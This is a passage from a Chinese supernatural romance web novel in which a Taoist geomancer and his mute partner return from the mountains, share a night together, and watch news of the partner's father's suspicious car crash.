封凛哪里看不出清逸他们这是中邪了,他淡淡挑眉,只好把白默年先从怀里放下来,然后三两下解开对方被外套缠住的双手,紧接着掀开对方白色的T恤下摆,把之前画好的镇灵符擦掉了几个笔划,唇角微扬:“你就这么捉弄他们?” 白默年冷冷睨着他,不吭声。 封凛笑着揉了揉白默年的头发,然后又借着树荫遮蔽把人拉进怀里慢条斯理吻了一通,直到对方因为缺氧而呼吸急促,这才缓慢分开: “等会儿就算装也要装个样子,别让清逸他们认出来。” 白默年现在阴鸷狠厉的样子和以前大相径庭,一定会被察觉端倪。 封凛交待完毕,然后迈步走向围在断崖旁边哭得稀里哗啦的三个人,从口袋抽出几张黄符,往他们每人身后贴了一张,轮到清逸的时候顺带着还往他屁股上踹了一脚。 “哎呦喂!哪个王八蛋踹我!” 清逸正隔着电话指天骂地的赌咒发誓,冷不J被人从后面踹了个狗吃屎,当即气得从地上蹦了起来,结果一扭头就对上了封凛似笑非笑的眼神。 “大、大师兄?!”清逸的哭声戛然而止,脸色瞬间变得煞白,他哆哆嗦嗦地指着封凛,又看看地上断成两截的黑蛇,眼睛一翻差点晕过去。 封凛抱臂而立,踢了踢那条早就死得不能再死的黑蛇:“怎么,在给我哭丧?” 幻境其实就是那么回事儿,当正主出现在眼前的时候,自然而然也就破了,旁边的灵薇和赵嘉恒也揉着头渐渐清醒了过来,看见封凛的时候难掩惊喜,连忙围了上去。 “大师兄?!原来你没事呀!” “封先生,我们刚才还以为你掉下山去了,真是吓死了!” 封凛不动声色地瞥了眼树下的白默年:“山里精怪多,你们刚才估计是中了障眼法,收拾东西下山吧,别耽误时间。” 大家闻言哪里还敢耽误,连忙收拾行李准备继续赶路,赵嘉恒嫌累赘连行李箱都没拿,只抱了他爷爷的骨灰盒。 月色穿过树梢,在白默年肩头撒下一片斑驳的痕迹,他安静站在阴影交界处,低垂的睫毛在苍白的脸上投下两片阴翳,刚才那股阴鸷狠厉的气息消失得无影无踪,乖顺得让人怀疑棺材里发生的一切就像是梦境。封凛见状走过去牵住他的手,指腹在白默年手腕内侧轻轻摩挲了一下,这个细微的动作带着安抚的意味:“走吧。” 封凛虽然觉得自己不算是个神经大条的人,但对于心思敏感的白默年总要格外关注一些,他当时在棺材里做的承诺也并不全然都是假的,自然不能让对方感到被冷落忽略。 白默年抿唇看了他一眼,什么都没说,任由封凛牵着自己的手往山下走去。 那枚金属铜人像躺在外套口袋里,温度有一瞬间滚烫,像是脱笼的凶兽终于嗅到自由的气息,渴望着嗜血杀人,只是因为隔着衣服,并没有被封凛察觉。 等大家离开这座深山老林的时候,已经是第二天清晨了,赵嘉恒提前打电话叫来迁坟的那几个人开着辆大巴车等在乱石滩附近,据说绕了一晚上也没进去。 司机原本蹲在车头旁边抽烟,看见赵嘉恒等人灰头土脸的从林子里面钻出来,连忙搓着手迎了上去,又急又尴尬:“赵……赵先生,这个这个,实在是不好意思,我们昨天开车在附近绕了七八圈,这林子死活就是开不进去,我是没脸拿钱了,不过兄弟们大老远过来,也搭了不少时间和油费,要不那个钱给您退一半儿成吗?” 这个司机是赵嘉恒在本地一家殡仪馆找的,因为事出突然,也没仔细商量,只说让他开车带人过来就行,没想到他们居然连路都没找到。 赵嘉恒抱着自家爷爷的骨灰盒,整个人又困又累,哪里有功夫跟他计较那三瓜俩枣的:“算了算了,我不用你们退钱,你开车把我们拉到机场就行……对了,你们有没有吃的,我们在林子饿了好几天没吃饭了。” 司机闻言眼睛当即一亮:“有!有有有!你们上车吧,我车上还有好多呢!” 因为路途太远,司机在车上都会备一些应急食物和水,虽然只是一些苏打饼干和泡面,但也足够填饱肚子了。 车厢里很快弥漫起泡面的香气,赵嘉恒和清逸他们坐在后面狼吞虎咽地吃着,发出唏哩呼噜的声响,白默年却只是偏头望着窗外飞逝的山景,苍白的侧脸映在玻璃上,眼底情绪漆黑阴沉。 “吃点东西?” 封凛拆开一包饼干递了过去,毕竟白默年只是缺了一魂一魄,并不是真的成了孤魂野鬼,终归还是要靠人类的食物来维持生命。白默年似乎不太想吃,但看在封凛递过来的份上,还是勉强吃了几口,封凛又拧了一瓶矿泉水递过去,白默年也乖乖喝了。 “吃饱了就睡会儿吧,还有两个小时才能到机场。” 山上寒气重,封凛伸手把白默年搂进怀里,又借着座椅的遮挡偏头亲了亲他,示意对方靠着自己睡觉,这样无微不至的关注总算让白默年眼底的阴霾淡去了几分,恢复些许正常模样,红着脸轻轻靠近了他怀里。封凛太过疲惫耗神,所以很快就睡着了。 白默年眼眸轻垂,却是睡意全无。 他捏着剩下的半袋饼干,指尖隔着袋子缓缓收紧力道,清脆的响声落在耳朵里就像在碾碎谁的骨头,直到里面的饼干都变成了粉末,这才停手。 封凛说的对。 与其躺在棺材里等死,不如让那些人生不如死…… 赵嘉恒因为急着给爷爷迁坟,所以直接订了最近的航班飞回A市,毕竟亡者都讲究一个入土为安,虽然赵家的祖坟被人坏了风水,但掘土开棺终究惊动了祖先,还是尽快找一个风水宝地重新安葬为好。 封凛拿钱办事,自然也要讲究效率,飞机刚落地他就打电话联系了风水圈里的熟人,站在航站楼的玻璃幕墙前有一搭没一搭聊天,打听哪里有合适的墓穴: “老古,半年没见了吧,改天有空出来一起喝茶……什么叫无事不登一宝殿…让你猜中了,朋友家里出事,就等着迁坟,你消息灵通,帮我物色块阴宅。” “要坐壬向丙的龙脉,明堂开阔,最好能有玉带水环绕,价钱不是问题,但一定要干净,不能是别人用过的旧穴。” 电话那头传来一阵纸张翻动的哗啦声,随即是一名中年男子沙哑的老烟嗓,普通话半生不熟,间或夹杂着几句粤语:“巧了,我们前两天在琵琶山新发现一个‘金蟾抱珠’的好地方,来龙起伏有致,案山如笔架,朝山呈三台状,好几个富豪都盯着呢。” 封凛闻言迅速在脑中推演:壬山丙向属离卦,利子孙仕途;玉带水主财禄绵长;而金蟾抱珠更是难得的招财聚气之局。 “帮我留着。”封凛果断道,“明天我就带罗盘去点穴,钱不是问题。” 他语罢又和对方敲定了一下时间,这才挂断电话时,然后对着赵嘉恒晃了晃自己的手机:“找到一块合适的墓穴了,明天把钱带够,和我 起去看位置。” 赵嘉恒闻言脸上顿时露出一抹狂喜:“真的吗封先生?!那就拜托你了!我明天一定把买墓地的钱准备好!” “不止,”封凛伸手把白默年搂进怀里,懒洋洋掀了掀眼皮,“记得把尾款准备好,回头直接打到默年的账户上。” 赵嘉恒虽然有些肉痛,但想到封凛是有真本事的人,万一能帮自己家里度过难关,那就是千值万值,用力点了点头:“封先生,你放心,回去我就把尾款打给默年。” “行,那我先回家了,明天见。” 封凛语罢直接搂着白默年往外走,他现在一点儿也不放心让对方离开自己的眼皮子底下,干脆带回出租屋先住几天好了,刚好张端回老家探亲,没个七八天回不来。 只是路刚走到一半,清逸和灵薇就屁颠屁颠追了上来,只见他们浑身上下灰头土脸的,还扛着两个装满法器的大包裹,活像进城逃难的:“大师兄,你们是要回市内吗,带我们一起呗,还能省个车费。” 封凛闻言脚步一顿,直接从裤兜里掏出二百块钱,又从上衣口袋掏出一张五十,两张十块,一张五块,数吧数吧递了过去:“位置不够,你们自己打车回去。” 清逸伸手接过钱,小声嘀咕道:“喊,你明明是嫌俺俩穿的像个土包子。” 封凛斜睨了他一眼:“这种事自己心里清楚就行了,不用说出来。” 白默年见状从外套里拿出一个黑色钱夹,低头把里面的所有现金都抽了出来,厚厚的一摞红票子,大概有好几千,用手机打字,把屏幕转给清逸和灵薇看: 【拿去,坐车。】 封凛拽了一下他的袖子:“我身上没现金了,你手机又没电,你把钱都给他们,等会儿我们坐车刷卡啊?”白默年一想也是,连忙又抽出来三张,这才把剩下的钱递过去,清逸见状伸手接过,嘴角一个劲抽搐:“大师兄,你们俩真是天生一对。”一个抠门精,一个败家子。 看白默年这样子肯定没少被他们大师兄忽悠,太惨了简直。 …… 因为他们飞机降落的时候正值晚高峰,路上有点堵,晚上九点的时候,封凛和白默年才终于抵达公寓楼下。 封凛把行李从后备箱里拎出来,低头看了眼时间,发现这个点餐厅都关门了,习惯性用手语问道: 【饿不饿?我去旁边便利店买点吃的?】 白默年见状轻轻点头,然后跟着封凛进了旁边一家24小时亮着灯的便利店,开门的瞬间,一股关东煮的香气混杂着暖气扑面而来,让人后知后觉感到了几分饥饿。封凛熬夜的时候经常下楼买东西,他熟门熟路从货架上拿了点速食泡面和饮料,然后又在熟食区拿了两个鸡腿,白默年始终跟在后面,看起来对这些东西兴致缺缺。就在封凛抱着一堆东西在收银台前找零钱准备结账的时候,白默年终于有所动作,只见他忽然把手伸向货架,然后默不作声拿了一个深蓝色的包装盒扔进封凛买的那一堆零食里面,引来了店员微妙的视线 …. 封凛见状动作一顿,慢半拍瞥了眼,清楚看见盒子外包装上写着某个耳熟能详的避孕套品牌。 180、买了就用呗 因为这盒突如其来的避孕套,二人回家的路上气氛格外微妙。 封凛自诩这些年经历了大风大浪,什么场面没见过,可当白默年面不改色地将那盒避孕套揣进外套口袋时,他的大脑还是有了片刻宕机,紧接着冒出了数不清的念头。 例如他们还没正式同居呢,这样子会不会有点太快了? ——万一白默年只是先买回来,并没有打算今天晚上就用呢? ——可是避孕套这种东西有什么提前囤的必要吗,楼下到处都是。封凛站在电梯间里,盯着显示屏上不断变幻的楼层数字,生平第一次觉得自己的脑子有点不够用。白默年并不知道封凛的头脑风暴,他像没事人似的站在一旁,修长的指尖把玩着那个巴掌大的蓝色小盒,塑料薄膜在灯光下发出细微的脆响,声音虽然不大,但在寂静的电梯间里显得格外突兀。直到电梯抵达楼层发出“叮”的一声响,这才打破二人之间沉默的氛围。 封凛轻咳一声提醒道:“到了,走吧。” 幸亏张端回老家了,否则今晚这情况还真不知道该怎么解释。 封凛拎着行李箱掏出钥匙开门,先确认了一下客厅有没有被造得像狗窝一样,发现还算干净,这才侧身让白默年进屋,顺便反手关上房门。 “左边那间房是张端的,右边那间房是我的,你如果累了就先洗个澡,反正睡衣都在行李箱。” 这套公寓有些小,分割之后就更显逼仄,还没有白默年的书房大,墙上贴着几个摇滚歌星的海报,底下是一排手办展示柜,不用看都知道一定是张端的,封凛才不会有闲钱玩这种东西。因为收纳空间太小,东西又太多,哪怕收拾得整整齐齐,也难免显得有些杂乱。 白默年却看的很认真,尤其在经过封凛房间的时候刻意多停留了几秒,他四处逛了一圈,这才用手语比划着找封凛要了条干净毛巾,打算进浴室洗澡。 【我想洗澡,有干净毛巾吗?】 封凛原本在找打火机准备抽烟,见白默年比划手语,就停下手里的动作去衣柜帮他拿了条浴巾,却在对方伸手来接时忽然抬高胳膊,后背懒洋洋抵着墙,眼底闪过一丝微不可察的笑意:“在棺材里的时候你不是能说话吗?怎么现在又改手语了?” 白默年闻言动作一顿,不紧不慢用手语问道: 【你想听我说话吗?】【你想听,我就说。】 听这意思白默年好像可以说话,只是因为某种原因没有开口而已。 封凛回想起白默年在棺材里把他刺得哑口无言的情景,心想对方不说话则已,一说话就扎死个人,不过在床上叫起来说不定会挺好听,他高抬的指尖一松,白色的毛巾就顺着滑落到了白默年肩上,带着洗衣液的香气,笑意莫名:“去洗澡吧,洗完澡再说。” 白默年看见了男人眼底涌动的情绪,忽然上前一步,倾身靠近封凛耳畔,他的嗓子十几年没用过,每次开口都带着些许沙哑,是不符合这个青涩年纪的性感,唇角微扬:“等我,很快就出来。” …浴室门轻轻关上的动静把封凛惊回了神,他慢半拍看向紧闭的玻璃门,里面响起淅淅沥沥的热水声,嘴里叼着的烟明明还没来得及点燃,淡淡的烟草气息却已经让人有了上瘾的苗头。趁着白默年在洗澡,封凛把自己的行李箱简单收拾了一下,脱外套的时候不知想起什么,从口袋里拿出了那枚金属铜人像,因为暂时研究不出来什么,干脆就丢进了抽屉里。入夜的时候,两个人躺在同一张床上。白默年就像那天在棺材里似的,冰凉带着水汽的身躯蛇一样钻进了封凛的怀里,微湿的墨发,苍白的皮肤,顺着往下是清瘦的锁骨,像带着死亡气息却又旖旎的艳鬼。他头颅微抬,深深凝望着封凛,眼底的占有欲几乎凝成实质,甚至让人感到了几分可怕,像一头嗜血的困兽不知该如何缓解饥饿,于是身体的每一个细胞都在疯狂叫嚣着想把面前的人一点点咬碎,彻底吞吃入腹。“封凛.白默年急需做些什么确认封凛是自己的,他无声动唇,然后伏在男人肩头,装得很乖很乖,就像某种柔软的动物轻蹭着对方的下巴,在暗示什么不言而喻。热烈大胆,却又内敛羞涩。封凛在黑暗中伸长手臂,从床头柜找到归默年之前买的那盒套,把塑料包装拆,从里面抽出一小片,他递到嘴边用牙咬开,声音低沉懒散“想好了?开弓没有回头箭。”光线实在太暗,封凛看不清白默年的手语,也看不清对方的唇语,他只是感觉对方在自己怀里轻轻摇了摇头,落在腰间的那双手抱得更紧了。“别怕。”封凛揉了揉白默年的头,指尖穿过对方潮湿的发丝,下一秒天旋地转,直接将人狠狠压进床褥,炙热的吻带着侵略性落下,像是要把这副冰冷的躯体彻底点燃。封凛一直以为白默年没办法出声。直到现在他才发现对方原来是可以发出一些细碎声音的,闷哼、稚嫩、无助,像雏鸟,又像幼兽,然后被颠得破碎而又凌乱。鸦羽似的睫毛被泪水沾湿,不知道是疼的还是爽的,纤细修长的双手在封凛肩头留下几道抓痕,断断续续打着手语。 【停…….【停一下……】相比之下封凛则游刃有余得多,他甚至抽空点了根烟,然后低头恶作剧般把烟雾渡进白默年殷红的唇瓣里,胸膛发出震动的闷笑,抓住对方乱动的双手,用了些力气按在头顶,耍无赖道:“看不懂,有什么事明天再说。”薄被顺着肩头滑落至腰际,露出封凛流畅的身线,暗藏着蓄势待发的狠劲,夹着烟的那只手漫不经心撑在床边,星火明灭不定,白色的烟灰雪一般簌簌落在地板上。“封凛__” 一道带着哭腔的声音忽然响起,连带着床板的吱呀动静也跟着停了下来,封凛动作一顿,有些惊奇地看向身下,没想到自己居然把哑巴艹得会说话了。 白默年平常就算再装乖,这个时候也装不下去了,他紧咬下唇,眼睛红红的,也不知道是不是被气的: “你故意的是不是?” 傻子都能看懂他叫停的手语了,封凛居然装看不懂? 封凛摸了摸鼻尖,有些心虚:“怎么了,是不是弄疼你了?” 白默年闻言偏头移开视线,毕竟他说疼也不是,说不疼也不是,过了好半晌才伸出双手重新搂住封凛的脖颈,吞吞吐吐半天才小声道:“慢一点…” 只剩气音了,像被欺负的不行。 封凛闻言喉结滚动了一瞬,低头重新吻住对方,力道又狠又凶,语气却带着几分刻意压制的诱哄:“好,听你的,慢一点……”. 但时间却不会停下来等他们,这一折腾就折腾到了天亮才睡,中午才醒。封凛想起下午约了赵嘉恒就没有多躺,掀开被子轻手轻脚起床穿衣服,对躺在床上的白默年道:“我给你点了外卖,等会儿起来吃点,晚上回来再带你出去吃。”白默年安静蜷缩在被子里,只露出一个漆黑的发顶,他闻言抬眼看向封凛,眼角还带着些微红哭过的痕迹,嗓子哑得听不见声音,难掩倦懒: “那我等你回来。”样子乖的让人心软。封凛穿好衣服,凑过去亲了他一下:“行,我早点回来,下午你躺家里好好休息,别到处乱跑。”封凛把外卖盒拎进来摆在床头柜上,这才拿着外套出门,伴随着“砰”的一声关门轻响,屋子里彻底陷入了寂静,窗户外面偶尔传来街道车水马龙的喧哗声,但因为隔着玻璃,总有种听不真切的感觉。白默年在床上躺了片刻就起来了,他习惯性光脚踩在地上,发现没有地毯,又慢半拍换回了拖鞋,然后走到衣柜前从里面找出一套封凛平常穿的休闲服换上,黑色的高领毛衣衬得他肤色更加白皙,很好遮住了脖子上的吻痕。等做完这一切,白默年又走进浴室刷牙洗脸,最后重新回到卧室,他暗沉的目光落在靠窗的那张书桌上,静默一瞬,最后准确无误拉开抽屉,把里面的金属铜像塞进口袋,转身出门了。……白家近年来在商界很是打眼,从最初的网络起家,到如今金融、科技、文娱多领域全面开花,集团版图扩张的速度简直令人咋舌。白家掌权人白振业更是商界传奇人物,他明明五十多岁的年纪,却丝毫不见昏庸老迈,一直致力于开拓进取,当大时代的浪潮来临时,他总能精准踩中每一个风口赚得盆满钵满。娱乐记者每每提起他时,除了那夸张的身价财富,总不忘夸赞一下他每年接近上亿的慈善捐款,今天下午在市政广场有一场优秀企业家的颁奖活动,白振业作为代表受邀出席,可谓是活动的焦点人物之一。市政厅前,红毯铺成了一条长长的通道,数不清的记者扛着长枪短炮,只等着车一来就按照既定流程上前采访。白振业今天乘坐的是一辆极其低调的黑色轿车,市价不过三十多万,当车开进弯道时,记者们就已经提前收到了风声,纷纷调整拍摄角度。 “快快快,提前准备,白总已经快到了!”“打光板别忘了!”"等会儿市长也要来,你们可千_……” 话未说完,一道震耳欲聋的撞击声忽然从远处传来,惊得所有人都下意识停下了工作望去—— 只见不远处的中央道上有一辆黑色轿车忽然失控,转弯时猛地撞向了路边护栏,一根金属杆不知道从哪里掉下,直接砸碎了挡风玻璃,紧接着后车门被人艰难打开,爬下来一名浑身是血的中年男子,赫然是即将入场的白振业。有人惊呼出声: “天呐!那是不是白总?!” “快……快上去救人!” “打电话叫救护车!!” 现场瞬间炸开了锅,记者们像闻到血腥味的鲨鱼般蜂拥而上,闪光灯疯狂闪烁,几个保安拼命阻拦,却怎么也挡不住疯狂的人潮。 在市政厅对面不远处的商场里,一抹修长的身影站在落地窗前平静注视着这一幕,直到看见白振业浑身是血地被救护车抬走,他这才动了动脚步转身离开,抬手将黑色毛衣的衣领上拉,唇瓣无声轻启,冷冷吐出一句话:“算你命大。” 181、搬家 封凛是第二天看电视新闻才知道的这件事,彼时他正和白默年坐在客厅一起吃晚饭,女主持字正腔圆的声音透过屏幕传出,报道的赫然是昨天市政广场那出意外车祸事件“昨日下午,我市著名企业家白振业在前往慈善颁奖活动途中遭遇惊险一-幕……” 封凛夹菜的筷子微微一顿,只见电视画面切换到监控录像,那辆黑色轿车原本行驶得好好的,拐弯时却忽然失控,狠狠撞上了护栏。“据本台记者了解,下午三点四十五分左右,白振业先生乘坐的黑色轿车在中央路转弯处突然失控 从监控画面可以看到,车辆在温滑路面上发生侧滑,最终撞上路边护栏““.…白先生右手肘部受到轻微擦伤,经现场医护人员简单包扎后,他坚持按原计划出席了‘爱心助学慈善活动。”封凛听见这个略显耳熟的名字,目光下意识转向对面,只见白默年正戴着手套垂眸认真剥虾,然后把虾肉全部放在一个小盘子里,仿佛电视里提到的只是一个无关紧要的陌生人。——他如果听不见的话,这个反应倒也正常,但封凛确定白默年是能听见的。 “你爸好像出车祸了。”封凛状似不经意提醒道。 白默年把最后一只虾放进盘子里,又往封凛的方向推了推,这才摘下手套比划着手语, 【我知道,昨天我妈给我发消息了。】 他眉头微皱,睫毛在暖黄的灯光下颤动一瞬,看起来似乎有些担心, 【他总是把生意看得很重要,为了参加活动连自己的伤都顾不上,说了多少次都不听。】 封凛没再说话,隐隐感觉有些奇怪,毕竟白默年刚才听见新闻的时候好像没什么反应。他把视线重新转回电视屏幕,只见画面里的中年男子一身西装革履,正对着镜头侃侃而谈,脸上挂着商人惯有的从容微笑,仿佛刚刚经历的车祸只是一场无关痛痒的小插曲,衣领上还沾着一片暗红的血迹。 封凛的注意力却不在白振业说了些什么,而是落在他的脖子上——那里戴着一块朱砂无事牌,色泽鲜红,质地细腻,大概是一块辟邪护身的吉物,细看中间却裂开了一道缝隙,漆黑如墨,像一道狰狞的伤口。 无事牌是保人平安顺遂的,可一旦裂了,就意味着灾厄已至,挡无可挡。 封凛忽然倒入椅背,筷子尖轻抬,隔空描摹着电视上男人的眉眼,半真半假道:“要不要我帮你爸爸看个面相?” 白默年闻言似乎有些讶异,抬头看向封凛。 封凛恍若未觉,捏着筷子对荧幕里白振业的面相虚点几下:“你父亲的面相很难得,三庭匀称,五岳朝拱,是标准的富贵双全格局,不过山根隐现断纹,辅角见削,这是中年破败之相,尤其眼下田宅宫泛青,主家宅不宁,妻离子散……说到最后一句时,封凛看了白默年一眼,见对方没什么太大的波澜,筷子这才继续下移,在虚空中勾勒出一道横线:“最要命的是这道悬针纹,金□□印,直犯命宫,按《麻衣相法》记载的说法,这是血光临身之兆。” 白默年微微偏头,终于来了几分兴趣:【真的吗?】 封凛眉梢轻挑:“你好像对我说的‘妻离子散’和‘血光之灾”不怎么在意?” 白默年浅笑着用手语比划道:【在意呀,所以问你是不是真的。】 封凛此刻想的却是另外一件事,白振业脖子上挂着的那块无事牌一看就不是普通货色,对方八成信些玄学,而白默年又恰好被人借了命,该不会那么巧幕后主使就是他父亲吧?这个答案对封凛来说有些荒谬,毕竟虎毒不食子,然而细细推敲下又显得十分合理,毕竟借命也是有条件的,一个不相干的人是很难把另外一个不相干的人的命借到自己身上的,但如果两个人本身就是血缘至亲,那就另当别论了….半晌,封凛终于缓缓开口, “信则有,不信则无。”他到底没有把这个猜测告诉白默年,那样真相未免太过伤人:“我看你爸爸脖子上戴着一块朱砂无事牌,他该不会也信些玄学吧,你平常有没有看见他和哪个风水先生走的比较近?”白默年思考片刻才用手语比划道:【小时候见过一个,长大就没有了。】这句话仿佛让他想起了某个突如其来的回忆,指尖无意识颤了颤,抬到耳边又硬生生顿住,最后又重新落回膝上,攥紧了袖口的衣料。封凛注意到他的动作,突然把手从桌面放下,轻轻拍了拍自己的大腿,对白默年做了个口型:“过来。”白默年偏头,露出困惑的神色。 “抱一下。”封凛无声动了动嘴唇,嘴角噙着温柔的笑意。虽然不明就里,白默年还是起身走了过去,他身形清瘦,面对面坐在封凛怀里的时候几乎感受不到什么重量,身上穿着的米白色羊绒衫触感柔软,带着洗衣液的香味。封凛顺势环住白默年的腰身,把下巴抵在对方肩膀上,感受到怀中人一瞬间的僵硬,又很快放松下来。 “没事的。” 封凛偏头靠近白默年耳畔,温热的余息喷洒在颈间,声音低沉而又令人安心。后者虽然什么都没说,却不动声色把封凛抱得更紧了一些,像溺水者抱紧了救命的浮木 “封凛……. “嗯?” “你会一直陪着我吗?” “会。” “你是我的吗?” “是。” “我有时候好想把你吃到肚子里。” 封凛闻言一怔,抬眼看向白默年,却透过对方黑白分明的眼睛窥见一种近乎澄澈的残忍,他后知后觉意识到面前这个人可能是真的想吃掉自己,与调情无关,那是一种想要连血肉心脏都要吞吃入腹的占有欲。封凛不语,只是笑着抬起白默年的下巴,然后垂眸,一点点靠近吻了上去。他吻得很慢,先是蜻蜓点水般碰了碰唇角,继而熟练撬开牙关,唇齿交缠间,男人懒散的声音带着几分认真,吐息温热: “默年,身体是会腐烂的…… “那什么才算永恒?” “灵魂……. 封凛说:“我的灵魂会一直陪着你…… 他愿意用自己的灵魂去填满对方空洞漆黑的内心,他知道白默年在渴望什么,祈求什么,惶恐什么,而那些又恰恰是现在的他可以给予的。 封凛从来没告诉过白默年,他其实也一样有着那种可怕的执念,只不过白默年做得比他更好。 毕竟这辈子从一开始,封凛就得到了白默年所有的关注与爱慕。 封凛知道自己只要一发消息,白默年永远会是最先回复的那个,他知道自己只要一回头,白默年永远都会站在他身后,他知道自己只要一迈步,永远都能得到对方亦步亦趋的跟随。他知道对方是怎样病态爱着自己。 爱得让他安心、永不背离。 这么一想,封凛忽然发现自己也不是什么善类,因为他不仅享受着这种占有欲,而且贪婪地渴求着白默年对自己展现出更强烈的占有欲,这远比单纯的占有可怕得多,那是一种互相蚕食又互相滋养的共生关系。昏黄的灯光下,封凛把人搂得更紧了些,他嗅到白默年发丝间淡淡的香气,忽然意识到他们本就是同类— 都一样残缺,一样贪婪,一样在对方身上找到了自己身上缺失的那部分灵魂。 夜色缠绵,帘子挡住了皎洁的月光。 白默年每次只有在床上的时候才会吐出几个支离破碎的句子,夹杂着喘息,压抑着哭腔,最后变成两个熟练到哪怕失去听觉也能准确无误发声的名字 “封凛….封、凛…这两个字是属于他的。灵魂也是。 …… 白默年之前就说过给封凛重新找个住处,刚从山里回来没多久他就找到了一套全新带装修的住宅,毕竟再过不久张端就从老家回来了,合租多少有些不方便。 封凛对此没什么意见,毕竟他也不是有受虐症,天天喜欢挤小破屋,和张端打了声招呼就准备搬家了,好在东西不算多,一辆小面包车就能装下。 好巧不巧,清逸刚好有一辆平常用来跑活的小面包车,封凛秉承着肥水不流外人田的想法,直接连人带车给征用了。 清逸气死了:“大师兄,你对象都这么有钱了,能不能别这么抠门儿!出去租辆面包车二百块都不要,这点钱你都舍不得花,还非得让我大老远从郊区开过来,油钱都不够搭的!” 彼时封凛和白默年正在楼上搬东西,灵薇在下面帮忙整理打包箱,她听见清逸碎叨叨的声音,喊了一声:“你声音再大点儿呗,隔着这么远大师兄也听不见啊,干脆等会儿他下来的时候你直接当着他的面说,实在不行我帮你转达转达。” 清逸闻言瞬间蔫了,他心虚坏顾四周圈,发现大师兄还没下来,这才低咳一声尴尬道:“哎呀,我就是抱怨抱怨,都是同门师兄弟,搭把手也是应该的。” 灵薇不屑:“切~” 就在两人交谈间,封凛和白默年已经抱着两个大纸箱下了楼。清逸远远瞧见,连忙推开车门,屁颠屁颠地迎上去,一张娃娃脸笑得灿烂,活像只摇尾巴的小狗 “大师兄!放着我来!这种粗活哪能劳烦您亲自动手啊!” 封凛很嫌弃清逸那副弱鸡身板,直接侧身避开他把自己手里的箱子塞进后座,然后又接过白默年手里的箱子塞进去,砰一声扣上后备箱,动作干脆利落。 他今天穿了件宽松的黑色短袖,灰色运动长裤,脚下拉着一双拖鞋,整个人懒洋洋地站在路边,活像还没睡醒,可一开口,那低沉的嗓音却让清逸吓得瞬间绷直了背—— “刚才在楼上,好像听见有人说我抠门儿?”封凛狭长的眸子微眯,指尖夹着烟,隔空点了点清逸,“是你吗,嗯?” 清逸惊呆了,十几楼,这都能听见啊:“大……大师.……你肯定是听错了,你这么大方,哪个不长眼的人敢骂你抠门儿啊?!” 封凛皮笑肉不笑,他还不知道清逸的德行吗,小时候干活就爱嘀咕,学道术也爱嘀咕,他哪怕不听都能猜出对方刚才在楼下是怎么蛐蛐自己的,果然一猜一个准。 “是吗?那可能是我听错了吧。” 封凛挑了挑眉,大发慈悲地放过了清逸。毕竟今天还得靠这小子当苦力,他顺手在白默年后背轻拍了一把:“走了,上车。”白默年眼见封凛钻进后车厢,却没立刻上去,而是从口袋里拿出钱包,从里面抽出一摞红钞票递给清逸。清逸见状眼睛瞬间一亮,像只看见肉骨头的小狗:“给我的??给我的吗??”白默年似乎是笑了笑,只是不太明显,他指了指身旁的灵薇,意思是一起分,又指了指坐在车里的封凛,摆摆手,意思是不要被封凛给知道了。清逸以迅雷不及掩耳之势把钱藏进裤子口袋,小鸡啄米般点头,悄悄比了个“OK”的手势,这才绕到另外一边上车,不小心从后视镜里看见自己呲牙傻乐的表情,又连忙收敛了几分。后座的封凛懒洋洋地掀起眼皮,将一切尽收眼底却故作不知,直到白默年在他身旁落座,他才用脚尖轻轻点了点驾驶座靠背:“开车。”清逸看了眼路况,立刻发动车子,而他也不知是不是发了笔横财乐过了头,居然美滋滋向白默年吹嘘起了自己这辆座驾,都不管对方能不能听见:“默年哥,你别看我这辆车破,性能可好了,想当年我甚至用它追上了一辆蒙赛罗超跑,把对方撞了个稀巴烂,我的小面包只擦破了点皮,修修还能继续开…”别说封凛听得额头青筋直跳,就连灵薇都受不了了,狠狠瞪了他一眼:“这是什么光荣事吗?这只能说明你车技不好,上次敢撞车,下次就敢撞人……啊!!!”话未说完,灵薇忽然发出一声尖叫,伴随着一阵刺耳的刹车声,车头传来“砰”的一声闷响,整辆车剧烈震动,所有人被惯性带得往前一冲,又重重摔回座椅,一时间鸦雀无声。灵薇吓得眼睛都瞪大了几分,她条件反射攥紧安全带,声音颤抖的问道:“清……清逸,你刚才是不是撞上什么东西了?!”清逸也吓呆了,身形前倾看向挡风玻璃,不确定开口:“好……好像是个人…苍天啊,他可是正常行驶,这个人到底从哪里冒出来的?!该不会是想碰瓷吧?!清逸思及此处连忙降下车窗往外看了眼,结果发现是个穿得破破烂烂的老头正躺在地上哎呦哎呦直叫唤,没破皮也没流血,当即气的撸起了袖子:“我开车开得好好的,他到底是从哪里冒出来的?!这个臭老头,居然敢讹我,看我不骂死他!”他语罢气冲冲打开车门就要下车,结果他的车门方向刚好是外侧车道,只好对灵薇使了个眼色:“灵薇,你下去看看!”灵薇有些吓到了,连忙点头打开车门下去查看情况,封凛见状正准备跟着一起下去,但没想到灵薇忽然去而复返,趴在车窗上惊恐喊道: “清逸!!要死了!!你撞的是师父啊!!!” 封凛:“???” 白默年:“???” 清逸:“!!!!!” 182、故人 灵薇的话把所有人都吓了一跳,只听“砰”“砰”两声车门被打开的动静,封凛和清逸连忙冲下车去查看情况,就连白默年都嗅到了几分不同寻常的气息,跟着下了车。 “哎呦喂……哪个小兔崽子撞的我……我非扎你小人不可…… 众人下了车,只见一个灰夹克老头正四仰八叉地躺在车前,一手捂着腰,一手拍着地面直叫唤,看距离再近几分就被轮胎碾到了,虽然皮肤晒得黝黑,但花白的头发却整整齐齐挽了一个道士发髻,这也是刚才灵薇一眼把他认出来的原因。清逸瞬间大惊失色:“师父?!你不是在国外旅游吗?!” 淳安老头刚才被撞得头晕眼花,直到现在才看清撞了自己的人居然是小徒弟清逸,顿时火冒三丈,他一把拽过随身的桃木手杖,推开灵薇的搀扶从地上起身,不管三七二十一就往清逸屁股上招呼: “好你个混账东西!老道今天失策出门没看黄历,没想到被你这个欺师火祖的玩意儿给撞了!你过来,看我不打死你个兔崽子!!” “哎呦喂我的屁股!师父我错了!我错了我错了!我刚才真没看见!!” 清逸捂着屁股在前面跑,淳安老头拿着棍子在后面追,活像猫捉老鼠一样撵着面包车绕圈子,引得路人纷纷侧目。封凛一开始还担心老头子被撞出个什么好歹来,见对方生龙活虎的也就放下了心。这时清逸一阵风似的从面前跑过。 封凛双手插兜漫不经心背靠着车门,状似不经意伸了一下脚然后又迅速缩回,只听一声惨叫声响起,清逸不小心绊了个趔趄,被师父从后面追上来打得屁滚尿流,一个劲求饶。这就对了嘛。 